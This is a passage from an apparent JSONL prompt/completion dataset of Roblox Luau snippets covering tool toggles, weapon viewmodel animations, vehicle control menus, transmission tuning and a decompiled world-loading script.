"\n\nTool.Activated:connect(function()\n\tTool.Handle.Fire.Enabled = not Tool.Handle.Fire.Enabled\n\tTool.Handle.PointLight.Enabled = not Tool.Handle.PointLight.Enabled\n\tTool.Handle.Light:Play()\nend)\n"} +{"prompt": "--- STAGGERED RUNTIME ---", "completion": "\ntask.wait(1)\n\ncharacter_added(player.Character)\n"} +{"prompt": "--//Client Animations", "completion": "\n\t\tIdleAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)\t\n\t\tend;\n\t\t\n\t\tStanceDown = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, 0.45, -1.25) * CFrame.Angles(math.rad(-75), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.1,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\n\t\tStanceUp = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\t\t\n\t\tPatrol = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\n\t\tSprintAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tEquipAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()\n\t\t\twait(0.1)\n\t\t\tobjs[5].Handle:WaitForChild(\"AimUp\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()\n\t\tend;\n\n\t\tZoomAnim = function(char, speed, objs)\n\t\t\t--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()\n\t\t\tts:Create(objs[5].g33:WaitForChild(\"g33\"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tUnZoomAnim = function(char, speed, objs)\n\t\t\t--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()\n\t\t\tts:Create(objs[5].g33:WaitForChild(\"g33\"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tChamberAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.25,0.15,-1.35) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()\n\t\t\twait(0.35)\t\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlidePull\"):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0.06,-0.1,-1.15) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\twait(0.3)\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlideRelease\"):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\tend;\n\n\t\tChamberBKAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.38,0.05,-1.5) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(0))}):Play()\n\t\t\twait(0.3)\t\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlideRelease\"):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\twait(0.15)\n\t\tend;\n\t\t\n\t\tCheckAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(.35)\n\t\t\tlocal MagC = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tobjs[5].Mag.Transparency = 1\n\t\t\t\tMagC.Parent = objs[5]\n\t\t\t\tMagC.Name = \"MagC\"\n\t\t\t\tMagC.Transparency = 0\t\t\t\n\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\t\tMagCW.Part0 = MagC\n\t\t\t\tMagCW.Part1 = objs[3].Parent.Parent:WaitForChild(\"Left Arm\")\n\t\t\t\tMagCW.Parent = MagC\n\t\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild(\"Left Arm\").CFrame)\n\t\t\tts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(.3, -0.2, .85) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(90))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagOut\"):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()\n\t\t\twait(1.5)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagIn\"):Play()\n\t\t\tMagC:Destroy()\n\t\t\tobjs[5].Mag.Transparency = 0\t\n\t\t\twait(1)\n\t\tend;\n\t\t\n\t\tShellInsertAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()\n\t\t\twait(0.3)\n\t\t\tobjs[5].Handle:WaitForChild(\"ShellInsert\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()\n\t\t\tobjs[6].Value = objs[6].Value - 1\n\t\t\tobjs[7].Value = objs[7].Value + 1\n\t\t\twait(0.3)\n\t\tend;\n\t\t\n\t\tReloadAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()\n\t\t\twait(0.3)\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\twait(0.15)\n\t\t\t\n\t\t\tlocal MagZ = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tobjs[5].Mag.Transparency = 1\n\t\t\t\tMagZ.Parent = objs[5]\n\t\t\t\tMagZ.Mag:Destroy()\n\t\t\t\tMagZ.Name = \"MagZ\"\n\t\t\t\tMagZ.Transparency = 0\n\t\t\t\tMagZ.Anchored = false\n\t\t\t\tMagZ.CanCollide = true\n\t\t\tgame.Debris:AddItem(MagZ, 20)\n\n\t\t\tobjs[5].Handle:WaitForChild(\"MagOut\"):Play()\n\t\t\t\n\t\t\twait(.5)\t\t\t\t\n\t\t\t\n\t\t\tlocal MagC = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tMagC.Parent = objs[5]\n\t\t\t\tMagC.Name = \"MagC\"\n\t\t\t\tMagC.Transparency = 0\t\t\t\n\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\t\tMagCW.Part0 = MagC\n\t\t\t\tMagCW.Part1 = objs[3].Parent.Parent:WaitForChild(\"Left Arm\")\n\t\t\t\tMagCW.Parent = MagC\n\t\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild(\"Left Arm\").CFrame)\n\t\t\tts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(.3, -0.2, .85) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(90))}):Play()\n\t\t\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0.5, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagIn\"):Play()\n\t\t\tMagC:Destroy()\n\t\t\tobjs[5].Mag.Transparency = 0\t\n\n\t\t\tif (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then\n\t\t\t\tobjs[7].Value = objs[7].Value + objs[6].Value\n\t\t\t\tobjs[6].Value = 0\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\n\t\t\telseif objs[7].Value <= 0 then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo\n\t\t\t\tobjs[9] = false\n\n\t\t\telseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1\n\t\t\t\t--objs[10].Recarregar:FireServer(objs[6].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo + 1\n\n\t\t\telseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo\n\t\t\tend\n\t\t\twait(1)\n\t\tend;\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\nlocal toolAnimName = \"\"\nlocal toolAnimTrack = nil\nlocal toolAnimInstance = nil\nlocal currentToolAnimKeyframeHandler = nil\n\nfunction toolKeyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then\n\t\tplayToolAnimation(toolAnimName, 0.0, Humanoid)\n\tend\nend\n\n\nfunction playToolAnimation(animName, transitionTime, humanoid, priority)\t \t\t\n\t\tlocal idx = rollAnimation(animName)\n\t\tlocal anim = animTable[animName][idx].anim\n\n\t\tif (toolAnimInstance ~= anim) then\n\t\t\t\n\t\t\tif (toolAnimTrack ~= nil) then\n\t\t\t\ttoolAnimTrack:Stop()\n\t\t\t\ttoolAnimTrack:Destroy()\n\t\t\t\ttransitionTime = 0\n\t\t\tend\n\t\t\t\t\t\n\t\t\t-- load it to the humanoid; get AnimationTrack\n\t\t\ttoolAnimTrack = humanoid:LoadAnimation(anim)\n\t\t\tif priority then\n\t\t\t\ttoolAnimTrack.Priority = priority\n\t\t\tend\n\t\t\t \n\t\t\t-- play the animation\n\t\t\ttoolAnimTrack:Play(transitionTime)\n\t\t\ttoolAnimName = animName\n\t\t\ttoolAnimInstance = anim\n\n\t\t\tcurrentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)\n\t\tend\nend\n\nfunction stopToolAnimations()\n\tlocal oldAnim = toolAnimName\n\n\tif (currentToolAnimKeyframeHandler ~= nil) then\n\t\tcurrentToolAnimKeyframeHandler:disconnect()\n\tend\n\n\ttoolAnimName = \"\"\n\ttoolAnimInstance = nil\n\tif (toolAnimTrack ~= nil) then\n\t\ttoolAnimTrack:Stop()\n\t\ttoolAnimTrack:Destroy()\n\t\ttoolAnimTrack = nil\n\tend\n\n\treturn oldAnim\nend\n"} +{"prompt": "---Controls UI", "completion": "\nscript.Parent.Parent:WaitForChild(\"Controls\")\nscript.Parent.Parent:WaitForChild(\"ControlsOpen\")\nscript.Parent:WaitForChild(\"Window\")\nscript.Parent:WaitForChild(\"Toggle\")\n\nlocal car = script.Parent.Parent.Car.Value\nlocal _Tune = require(car[\"A-Chassis Tune\"])\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal cPanel = script.Parent\nlocal Controls = script.Parent.Parent.Controls\n\nlocal ver = require(car[\"A-Chassis Tune\"].README)\ncPanel.Window[\"//INSPARE\"].Text = \"A-Chassis \"..ver..\" // INSPARE\"\n\nlocal controlsOpen = false\nlocal cInputB = nil\nlocal cInputT = nil\nlocal cInput = false\n\nlocal UIS1 = nil\nlocal UIS2 = nil\n\nfor i,v in pairs(_Tune.Peripherals) do\n\tscript.Parent.Parent.Controls:WaitForChild(i)\n\tlocal slider = cPanel.Window.Content[i]\n\tslider.Text = v..\"%\"\n\tslider.S.CanvasPosition=Vector2.new(v*(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset)/100,0)\n\tslider.S.Changed:connect(function(property)\n\t\tif property==\"CanvasPosition\" then\n\t\t\tControls[i].Value = math.floor(100*slider.S.CanvasPosition.x/(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset))\n\t\t\tslider.Text = Controls[i].Value..\"%\"\n\t\tend\n\tend)\nend\n\nfor i,v in pairs(_Tune.Controls) do\n\tscript.Parent.Parent.Controls:WaitForChild(i)\n\tlocal button = cPanel.Window.Content[i]\n\tbutton.Text = v.Name\n\tbutton.MouseButton1Click:connect(function()\n\t\tif UIS1 ~= nil then UIS1:disconnect() end\n\t\tif UIS2 ~= nil then UIS2:disconnect() end\n\t\tUIS1 = UserInputService.InputBegan:connect(function(input) \n\t\t\tif cInput then\n\t\t\t\tcInputB = input.KeyCode\n\t\t\t\tcInputT = input.UserInputType\n\t\t\tend\n\t\tend)\n\t\tUIS2 = UserInputService.InputChanged:connect(function(input)\n\t\t\tif cInput and (input.KeyCode==Enum.KeyCode.Thumbstick1 or input.KeyCode==Enum.KeyCode.Thumbstick2) then\n\t\t\t\tcInputB = input.KeyCode\n\t\t\t\tcInputT = input.UserInputType\n\t\t\tend\n\t\tend)\n\t\tscript.Parent.Parent.ControlsOpen.Value = true\n\t\tcPanel.Window.Overlay.Visible = true\n\t\tcInput = true\n\t\trepeat wait() until cInputB~=nil\n\t\tif UIS1 ~= nil then UIS1:disconnect() end\n\t\tif UIS2 ~= nil then UIS2:disconnect() end\n\t\tif cInputB == Enum.KeyCode.Return or cInputB == Enum.KeyCode.KeypadEnter then\n\t\t\t--do nothing\n\t\telseif string.find(i,\"Contlr\")~=nil then\n\t\t\tif cInputT.Name:find(\"Gamepad\") then\n\t\t\t\tControls[i].Value = cInputB.Name\n\t\t\t\tbutton.Text = cInputB.Name\n\t\t\telse\n\t\t\t\tcPanel.Window.Error.Visible = true\n\t\t\tend\n\t\telseif i==\"MouseThrottle\" or i==\"MouseBrake\" then\n\t\t\tif cInputT == Enum.UserInputType.MouseButton1 or cInputT == Enum.UserInputType.MouseButton2 then\n\t\t\t\tControls[i].Value = cInputT.Name\n\t\t\t\tbutton.Text = cInputT.Name\n\t\t\telseif cInputT == Enum.UserInputType.Keyboard then\n\t\t\t\tControls[i].Value = cInputB.Name\n\t\t\t\tbutton.Text = cInputB.Name\t\n\t\t\telse\n\t\t\t\tcPanel.Window.Error.Visible = true\n\t\t\tend\t\n\t\telse\n\t\t\tif cInputT == Enum.UserInputType.Keyboard then\n\t\t\t\tControls[i].Value = cInputB.Name\n\t\t\t\tbutton.Text = cInputB.Name\n\t\t\telse\n\t\t\t\tcPanel.Window.Error.Visible = true\n\t\t\tend\n\t\tend\n\t\tcInputB = nil\n\t\tcInputT = nil\n\t\tcInput = false\n\t\twait(.2)\n\t\tcPanel.Window.Overlay.Visible = false\n\t\tscript.Parent.Parent.ControlsOpen.Value = false\n\tend)\nend\n\ncPanel.Window.Error.Changed:connect(function(property)\n\tif property == \"Visible\" then\n\t\twait(3)\n\t\tcPanel.Window.Error.Visible = false\n\tend\nend)\n\ncPanel.Toggle.MouseButton1Click:connect(function()\n\tcontrolsOpen = not controlsOpen\n\tif controlsOpen then\n\t\tcPanel.Toggle.BackgroundColor3 = Color3.new(1,85/255,.5)\n\t\tcPanel.Window:TweenPosition(UDim2.new(0.5, -250,0.5, -250),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)\n\telse\n\t\tif UIS1 ~= nil then UIS1:disconnect() end\n\t\tif UIS2 ~= nil then UIS2:disconnect() end\n\t\tcPanel.Toggle.BackgroundColor3 = Color3.new(1,170/255,0)\n\t\tcPanel.Window:TweenPosition(UDim2.new(0.5, -250,0, -500),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)\n\tend\nend)\n\ncPanel.Window.Tabs.Keyboard.MouseButton1Click:connect(function()\n\tcPanel.Window.Content:TweenPosition(UDim2.new(0, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\nend)\n\ncPanel.Window.Tabs.Mouse.MouseButton1Click:connect(function()\n\tcPanel.Window.Content:TweenPosition(UDim2.new(-1, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\nend)\n\ncPanel.Window.Tabs.Controller.MouseButton1Click:connect(function()\n\tcPanel.Window.Content:TweenPosition(UDim2.new(-2, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\nend)\n\nwait(.5)\ncPanel.Toggle:TweenPosition(UDim2.new(0.5, -50, 1, -25),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,false)\t\nfor i=1,6 do\n\tcPanel.Toggle.BackgroundColor3 = Color3.new(100/255,100/255,100/255)\n\twait(.2)\n\tif controlsOpen then\n\t\tcPanel.Toggle.BackgroundColor3 = Color3.new(1,85/255,.5)\n\telse\n\t\tcPanel.Toggle.BackgroundColor3 = Color3.new(1,170/255,0)\n\tend\n\twait(.2)\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nfunction Update()\n\tv1.WorldCmds.Load(v1.StatService.Get().World);\nend;\nUpdate();\nlocal u1 = false;\nfunction PreventPlayersDead()\n\tlocal v2 = v1.WorldCmds.GetMap();\n\tif not v2 then\n\t\treturn;\n\tend;\n\tlocal v3 = v1.PlayerModule.Get(\"RootPart\");\n\tlocal v4 = v2:FindFirstChild(\"PlayerSpawns\"):GetChildren();\n\tif v3.Position.Y < -50 then\n\t\tif not u1 then\n\t\t\tu1 = true;\n\t\t\tv3.CFrame = v4[math.random(1, #v4)].CFrame + Vector3.new(0, 8, 0);\n\t\t\ttask.wait(0.25);\n\t\t\tu1 = false;\n\t\tend;\n\tend;\nend;\nv1.Network.Fired(\"Force Load World\"):Connect(function(p1)\n\tv1.WorldCmds.Load(p1);\nend);\ncoroutine.wrap(function()\n\twhile true do\n\t\tPreventPlayersDead();\n\t\tv1.RenderStepped();\t\n\tend;\nend)();\n\n"} +{"prompt": "-- conecta as fun\u00e7\u00f5es aos eventos da NumberValue", "completion": "\nnumValue.Changed:Connect(function()\n\tupdateTextLabel()\n\tanimateTextLabel()\nend)\n"} +{"prompt": "--[[Running Logic]]", "completion": "--\nlocal equipped = false\nlocal rayparts = {}\n\nlocal oldC0 =nil\nlocal nweld\n\n\nTool.Equipped:connect(function(mouse)\n\twait(0.1)\n\t--game.Players.LocalPlayer:GetMouse()\n\tSpawn(function()\n\t\tlocal colorChoice = 1\n\t\tif not Tool.Parent:FindFirstChild('Torso') or not Tool.Parent.Head:FindFirstChild('RightWeld') or not Tool.Parent:FindFirstChild('Humanoid') then return end\n\t\t\t\thweld = Tool.Parent.Torso['Neck']\n\t\tholdC0 = hweld.C0\n\t\tequipped = true\n\t\twhile equipped and Tool.Parent:FindFirstChild('Torso') do\n\t\t\tlocal tframe = Tool.Parent.Torso.CFrame\n\t\t\ttframe = tframe + tframe:vectorToWorldSpace(Vector3.new(0, 0,0)) \n\t\t\tlocal taim = (mouse.Hit.p + (mouse.Hit.lookVector * 300)) -( tframe.p )\n\t\thweld.C0 = (CFrame.new(Vector3.new(0,1,0),tframe:vectorToObjectSpace(taim))*CFrame.Angles(math.rad(-90),0,math.rad(-180)))\n\t\t\n\t\t\t\n\t\t\twait()\n\t\tend\n\t\thweld.C0 =holdC0\n\t\t\n\tend)\nend)\n\nTool.Unequipped:connect(function(mouse)\n\tequipped= false\n\tif nweld then\n\t\tnweld.MaxVelocity =.15\n\t\tnweld.C0 =oldC0\n\tend\n\t\nend)\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\", \"Semi\", \"Manual\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 4.06\t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3.70\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t3.53\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t2.04\t\t,\n\t\t--[[ 3 ]]\t\t1.38\t\t,\n\t\t--[[ 4 ]]\t\t1.03\t\t,\n\t\t--[[ 5 ]]\t\t0.81\t\t,\n\t\t--[[ 6 ]]\t\t0.64\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1.5\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "--\tprint(\"CurrentAnim \", currentAnim, \" \", frameName)", "completion": "\n\tif (frameName == \"End\") then\n\t\tif currentAnim == \"walk\" 